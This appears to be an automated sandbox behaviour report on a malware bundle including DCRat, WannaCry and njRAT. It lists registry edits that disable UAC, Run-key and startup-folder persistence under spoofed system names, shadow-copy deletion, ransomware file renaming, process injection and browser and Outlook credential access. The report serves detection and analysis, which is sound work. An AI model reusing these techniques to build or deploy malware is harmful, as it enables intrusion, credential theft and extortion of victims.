dcrat | b069cdfc74248f2244d96bfcdca0f40e7dca7053b7eea5a7846361cd47503f28

Processes:

6.exedllhost.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	6.exe

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

DCRat payload 5 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\6.exe	dcrat
C:\Users\Admin\Desktop\6.exe	dcrat
behavioral2/memory/1456-195-0x00000000003A0000-0x0000000000434000-memory.dmp	dcrat
C:\Windows\System32\C_875\dllhost.exe	dcrat
C:\Windows\System32\C_875\dllhost.exe	dcrat

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

NirSoft MailPassView 6 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\7.exe	MailPassView
C:\Users\Admin\Desktop\7.exe	MailPassView
behavioral2/memory/4748-238-0x0000000000000000-mapping.dmp	MailPassView
behavioral2/memory/4748-239-0x0000000000400000-0x000000000041B000-memory.dmp	MailPassView
behavioral2/memory/4748-242-0x0000000000400000-0x000000000041B000-memory.dmp	MailPassView
behavioral2/memory/4748-245-0x0000000000400000-0x000000000041B000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 7 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\7.exe	WebBrowserPassView
C:\Users\Admin\Desktop\7.exe	WebBrowserPassView
behavioral2/memory/176-259-0x0000000000400000-0x0000000000458000-memory.dmp	WebBrowserPassView
behavioral2/memory/176-258-0x0000000000000000-mapping.dmp	WebBrowserPassView
behavioral2/memory/176-261-0x0000000000400000-0x0000000000458000-memory.dmp	WebBrowserPassView
behavioral2/memory/176-264-0x0000000000400000-0x0000000000458000-memory.dmp	WebBrowserPassView
behavioral2/memory/176-265-0x0000000000400000-0x0000000000458000-memory.dmp	WebBrowserPassView

Nirsoft 11 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\7.exe	Nirsoft
C:\Users\Admin\Desktop\7.exe	Nirsoft
behavioral2/memory/4748-238-0x0000000000000000-mapping.dmp	Nirsoft
behavioral2/memory/4748-239-0x0000000000400000-0x000000000041B000-memory.dmp	Nirsoft
behavioral2/memory/4748-242-0x0000000000400000-0x000000000041B000-memory.dmp	Nirsoft
behavioral2/memory/4748-245-0x0000000000400000-0x000000000041B000-memory.dmp	Nirsoft
behavioral2/memory/176-259-0x0000000000400000-0x0000000000458000-memory.dmp	Nirsoft
behavioral2/memory/176-258-0x0000000000000000-mapping.dmp	Nirsoft
behavioral2/memory/176-261-0x0000000000400000-0x0000000000458000-memory.dmp	Nirsoft
behavioral2/memory/176-264-0x0000000000400000-0x0000000000458000-memory.dmp	Nirsoft
behavioral2/memory/176-265-0x0000000000400000-0x0000000000458000-memory.dmp	Nirsoft

Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

3132 netsh.exe

pid	process
3132	netsh.exe

Modifies extensions of user files 7 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

10.exe8.exe

description	ioc	process
File created	C:\Users\Admin\Pictures\SendExport.raw.WNCRYT	10.exe
File renamed	C:\Users\Admin\Pictures\SendExport.raw.WNCRYT => C:\Users\Admin\Pictures\SendExport.raw.WNCRY	10.exe
File opened for modification	C:\Users\Admin\Pictures\SendExport.raw.WNCRY	10.exe
File renamed	C:\Users\Admin\Pictures\DismountEnter.crw => C:\Users\Admin\Pictures\DismountEnter.crw.N5JV0	8.exe
File renamed	C:\Users\Admin\Pictures\SendExport.raw => C:\Users\Admin\Pictures\SendExport.raw.Ml7ar	8.exe
File opened for modification	C:\Users\Admin\Pictures\SendExport.raw.WNCRY	8.exe
File renamed	C:\Users\Admin\Pictures\SendExport.raw.WNCRY => C:\Users\Admin\Pictures\SendExport.raw.WNCRY.Ml7ar	8.exe

Office macro that triggers on suspicious action 1 IoCs

Office document macro which triggers in special circumstances - often malicious.

macro macro_on_action

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\2.doc	office_macro_on_action

Suspicious Office macro 1 IoCs
Office document equipped with macros.
macro

Processes:

resource

C:\Users\Admin\Desktop\2.doc

resource
C:\Users\Admin\Desktop\2.doc

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

RIP_YOUR_PC_LOL.exe5.exe6.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	RIP_YOUR_PC_LOL.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	6.exe

Drops startup file 9 IoCs

Processes:

10.exe8.exetaskmgr.exesystem.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD4F73.tmp	10.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT-FILES.txt	8.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6ced0cbb855481b4.tmp	8.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\6ced0cbb855481b4.tmp	8.exe
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\decrypt-files.txt	taskmgr.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\802f813d3810aa536753efbd3390b541.exe	system.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\802f813d3810aa536753efbd3390b541.exe	system.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD4FD7.tmp	10.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\DECRYPT-FILES.txt	8.exe

Executes dropped EXE 21 IoCs

Processes:

1.exe10.exe5.exetaskdl.exe6.exe7.exe8.exesystem.exedllhost.exetaskdl.exe@WanaDecryptor@.exe@WanaDecryptor@.exetaskse.exe@WanaDecryptor@.exetaskdl.exetaskse.exe@WanaDecryptor@.exetaskdl.exetaskse.exe@WanaDecryptor@.exetaskdl.exe

pid	process
884	1.exe
2720	10.exe
4680	5.exe
4272	taskdl.exe
1456	6.exe
1848	7.exe
716	8.exe
3892	system.exe
2928	dllhost.exe
1700	taskdl.exe
2928	@WanaDecryptor@.exe
3204	@WanaDecryptor@.exe
5656	taskse.exe
5668	@WanaDecryptor@.exe
5768	taskdl.exe
5576	taskse.exe
4952	@WanaDecryptor@.exe
3084	taskdl.exe
5724	taskse.exe
5708	@WanaDecryptor@.exe
5784	taskdl.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

1792 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

pid	process
1792	icacls.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

vbc.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	vbc.exe

Adds Run key to start application 2 TTPs 14 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

6.exemsedge.exereg.exe7.exesystem.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msedge = "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.VisualElementsManifest\\msedge.exe\""	6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Windows\\System32\\label\\fontdrvhost.exe\""	6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upfc = "\"C:\\Users\\Default User\\upfc.exe\""	6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\PLA\\csrss.exe\""	6.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ogbxohhg056 = "\"C:\\Users\\Admin\\Desktop\\tasksche.exe\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Windows\\System32\\C_875\\dllhost.exe\""	6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Windows\\System32\\CIRCoInst\\RuntimeBroker.exe\""	6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\Program Files\\Windows Photo Viewer\\sihost.exe\""	6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsUpdate.exe"	7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\10 = "\"C:\\Users\\Admin\\Desktop\\ConfirmReceive\\10.exe\""	6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\802f813d3810aa536753efbd3390b541 = "\"C:\\ProgramData\\system.exe\" .."	system.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\802f813d3810aa536753efbd3390b541 = "\"C:\\ProgramData\\system.exe\" .."	system.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

Processes:

dllhost.exe6.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	dllhost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

20 whatismyipaddress.com
22 whatismyipaddress.com

flow	ioc
20	whatismyipaddress.com
22	whatismyipaddress.com

Drops file in System32 directory 6 IoCs

Processes:

6.exe

description	ioc	process
File created	C:\Windows\System32\label\5b884080fd4f94e2695da25c503f9e33b9605b83	6.exe
File created	C:\Windows\System32\C_875\dllhost.exe	6.exe
File created	C:\Windows\System32\C_875\5940a34987c99120d96dace90a3f93f329dcad63	6.exe
File created	C:\Windows\System32\CIRCoInst\RuntimeBroker.exe	6.exe
File created	C:\Windows\System32\CIRCoInst\9e8d7a4ca61bd92aff00cc37a7a4d62a2cac998d	6.exe
File created	C:\Windows\System32\label\fontdrvhost.exe	6.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

Processes:

8.exe@WanaDecryptor@.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\\\000.bmp"	8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@WanaDecryptor@.bmp"	@WanaDecryptor@.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

7.exe

description pid process target process

PID 1848 set thread context of 4748 1848 7.exe vbc.exe
PID 1848 set thread context of 176 1848 7.exe vbc.exe

description	pid	process	target process
PID 1848 set thread context of 4748	1848	7.exe	vbc.exe
PID 1848 set thread context of 176	1848	7.exe	vbc.exe

Drops file in Program Files directory 30 IoCs

Processes:

6.exe8.exesetup.exe

description	ioc	process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.VisualElementsManifest\msedge.exe	6.exe
File opened for modification	C:\Program Files\ConfirmAssert.html	8.exe
File opened for modification	C:\Program Files\GroupReset.pps	8.exe
File opened for modification	C:\Program Files\OutConvertFrom.xml	8.exe
File opened for modification	C:\Program Files\ResolveUnregister.contact	8.exe
File opened for modification	C:\Program Files\HideBackup.mht	8.exe
File opened for modification	C:\Program Files\OpenOptimize.7z	8.exe
File opened for modification	C:\Program Files\RegisterGroup.vstm	8.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20230205025729.pma	setup.exe
File opened for modification	C:\Program Files\RequestOptimize.emf	8.exe
File opened for modification	C:\Program Files\ResolveExpand.3gpp	8.exe
File opened for modification	C:\Program Files\SyncEnable.DVR-MS	8.exe
File opened for modification	C:\Program Files\TraceWrite.vdw	8.exe
File opened for modification	C:\Program Files\UnprotectPop.mp2v	8.exe
File opened for modification	C:\Program Files (x86)\6ced0cbb855481b4.tmp	8.exe
File created	C:\Program Files\Windows Photo Viewer\sihost.exe	6.exe
File created	C:\Program Files\Windows Photo Viewer\66fc9ff0ee96c2b21f0cfded48750ae9e3032bf3	6.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.VisualElementsManifest\61a52ddc9dd915470897a065f14eeedfa88f98fd	6.exe
File opened for modification	C:\Program Files\CheckpointSwitch.bmp	8.exe
File opened for modification	C:\Program Files\MountOptimize.mpe	8.exe
File opened for modification	C:\Program Files\SaveMerge.wma	8.exe
File created	C:\Program Files (x86)\DECRYPT-FILES.txt	8.exe
File created	C:\Program Files\DECRYPT-FILES.txt	8.exe
File opened for modification	C:\Program Files\SyncRevoke.rtf	8.exe
File opened for modification	C:\Program Files\TestExit.inf	8.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\6532a08c-0472-4563-90f6-5c0fd04a5127.tmp	setup.exe
File opened for modification	C:\Program Files\6ced0cbb855481b4.tmp	8.exe
File opened for modification	C:\Program Files\ConfirmStop.mpg	8.exe
File opened for modification	C:\Program Files\OptimizeSync.rm	8.exe
File opened for modification	C:\Program Files\UpdateMeasure.shtml	8.exe

Drops file in Windows directory 2 IoCs

Processes:

6.exe

description ioc process

File created C:\Windows\PLA\csrss.exe 6.exe
File created C:\Windows\PLA\886983d96e3d3e31032c679b2d4ea91b6c05afef 6.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\PLA\csrss.exe	6.exe
File created	C:\Windows\PLA\886983d96e3d3e31032c679b2d4ea91b6c05afef	6.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Creates scheduled task(s) 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

2444 schtasks.exe
3232 schtasks.exe
3828 schtasks.exe
2316 schtasks.exe
3512 schtasks.exe
4412 schtasks.exe
2916 schtasks.exe
2840 schtasks.exe

pid	process
2444	schtasks.exe
3232	schtasks.exe
3828	schtasks.exe
2316	schtasks.exe
3512	schtasks.exe
4412	schtasks.exe
2916	schtasks.exe
2840	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 10 IoCs

Processes:

OpenWith.exeOpenWith.exetaskmgr.exeRIP_YOUR_PC_LOL.exemsedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	taskmgr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	RIP_YOUR_PC_LOL.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	taskmgr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	taskmgr.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

5740 reg.exe

pid	process
5740	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

8.exe6.exemsedge.exedllhost.exemsedge.exevbc.exe7.exeidentity_helper.exetaskmgr.exemsedge.exe

pid	process
716	8.exe
716	8.exe
1456	6.exe
1456	6.exe
1456	6.exe
2872	msedge.exe
2872	msedge.exe
2928	dllhost.exe
2928	dllhost.exe
4888	msedge.exe
4888	msedge.exe
176	vbc.exe
176	vbc.exe
1848	7.exe
1848	7.exe
5140	identity_helper.exe
5140	identity_helper.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
4772	msedge.exe
4772	msedge.exe
4772	msedge.exe
4772	msedge.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

Processes:

msedge.exe

pid process

4888 msedge.exe
4888 msedge.exe
4888 msedge.exe
4888 msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

6.exevssvc.exedllhost.exe7.exesystem.exewmic.exeAUDIODG.EXEWMIC.exe

description	pid	process
Token: SeDebugPrivilege	1456	6.exe
Token: SeBackupPrivilege	4176	vssvc.exe
Token: SeRestorePrivilege	4176	vssvc.exe
Token: SeAuditPrivilege	4176	vssvc.exe
Token: SeDebugPrivilege	2928	dllhost.exe
Token: SeDebugPrivilege	1848	7.exe
Token: SeDebugPrivilege	3892	system.exe
Token: 33	3892	system.exe
Token: SeIncBasePriorityPrivilege	3892	system.exe
Token: SeIncreaseQuotaPrivilege	3916	wmic.exe
Token: SeSecurityPrivilege	3916	wmic.exe
Token: SeTakeOwnershipPrivilege	3916	wmic.exe
Token: SeLoadDriverPrivilege	3916	wmic.exe
Token: SeSystemProfilePrivilege	3916	wmic.exe
Token: SeSystemtimePrivilege	3916	wmic.exe
Token: SeProfSingleProcessPrivilege	3916	wmic.exe
Token: SeIncBasePriorityPrivilege	3916	wmic.exe
Token: SeCreatePagefilePrivilege	3916	wmic.exe
Token: SeBackupPrivilege	3916	wmic.exe
Token: SeRestorePrivilege	3916	wmic.exe
Token: SeShutdownPrivilege	3916	wmic.exe
Token: SeDebugPrivilege	3916	wmic.exe
Token: SeSystemEnvironmentPrivilege	3916	wmic.exe
Token: SeRemoteShutdownPrivilege	3916	wmic.exe
Token: SeUndockPrivilege	3916	wmic.exe
Token: SeManageVolumePrivilege	3916	wmic.exe
Token: 33	3916	wmic.exe
Token: 34	3916	wmic.exe
Token: 35	3916	wmic.exe
Token: 36	3916	wmic.exe
Token: SeIncreaseQuotaPrivilege	3916	wmic.exe
Token: SeSecurityPrivilege	3916	wmic.exe
Token: SeTakeOwnershipPrivilege	3916	wmic.exe
Token: SeLoadDriverPrivilege	3916	wmic.exe
Token: SeSystemProfilePrivilege	3916	wmic.exe
Token: SeSystemtimePrivilege	3916	wmic.exe
Token: SeProfSingleProcessPrivilege	3916	wmic.exe
Token: SeIncBasePriorityPrivilege	3916	wmic.exe
Token: SeCreatePagefilePrivilege	3916	wmic.exe
Token: SeBackupPrivilege	3916	wmic.exe
Token: SeRestorePrivilege	3916	wmic.exe
Token: SeShutdownPrivilege	3916	wmic.exe
Token: SeDebugPrivilege	3916	wmic.exe
Token: SeSystemEnvironmentPrivilege	3916	wmic.exe
Token: SeRemoteShutdownPrivilege	3916	wmic.exe
Token: SeUndockPrivilege	3916	wmic.exe
Token: SeManageVolumePrivilege	3916	wmic.exe
Token: 33	3916	wmic.exe
Token: 34	3916	wmic.exe
Token: 35	3916	wmic.exe
Token: 36	3916	wmic.exe
Token: 33	3892	system.exe
Token: SeIncBasePriorityPrivilege	3892	system.exe
Token: 33	3892	system.exe
Token: SeIncBasePriorityPrivilege	3892	system.exe
Token: 33	2852	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2852	AUDIODG.EXE
Token: 33	3892	system.exe
Token: SeIncBasePriorityPrivilege	3892	system.exe
Token: SeIncreaseQuotaPrivilege	5324	WMIC.exe
Token: SeSecurityPrivilege	5324	WMIC.exe
Token: SeTakeOwnershipPrivilege	5324	WMIC.exe
Token: SeLoadDriverPrivilege	5324	WMIC.exe
Token: SeSystemProfilePrivilege	5324	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

msedge.exetaskmgr.exe@WanaDecryptor@.exe

pid	process
4888	msedge.exe
4888	msedge.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5668	@WanaDecryptor@.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe

Suspicious use of SendNotifyMessage 62 IoCs

Processes:

taskmgr.exe

pid	process
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe
5332	taskmgr.exe

Suspicious use of SetWindowsHookEx 22 IoCs

Processes:

@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exeOpenWith.exeOpenWith.exe@WanaDecryptor@.exe@WanaDecryptor@.exe

pid	process
2928	@WanaDecryptor@.exe
3204	@WanaDecryptor@.exe
3204	@WanaDecryptor@.exe
2928	@WanaDecryptor@.exe
5668	@WanaDecryptor@.exe
5668	@WanaDecryptor@.exe
5948	OpenWith.exe
6024	OpenWith.exe
6024	OpenWith.exe
6024	OpenWith.exe
6024	OpenWith.exe
6024	OpenWith.exe
6024	OpenWith.exe
6024	OpenWith.exe
6024	OpenWith.exe
6024	OpenWith.exe
6024	OpenWith.exe
6024	OpenWith.exe
6024	OpenWith.exe
6024	OpenWith.exe
4952	@WanaDecryptor@.exe
5708	@WanaDecryptor@.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

RIP_YOUR_PC_LOL.exe1.execmd.exemsedge.exe10.exe

description	pid	process	target process
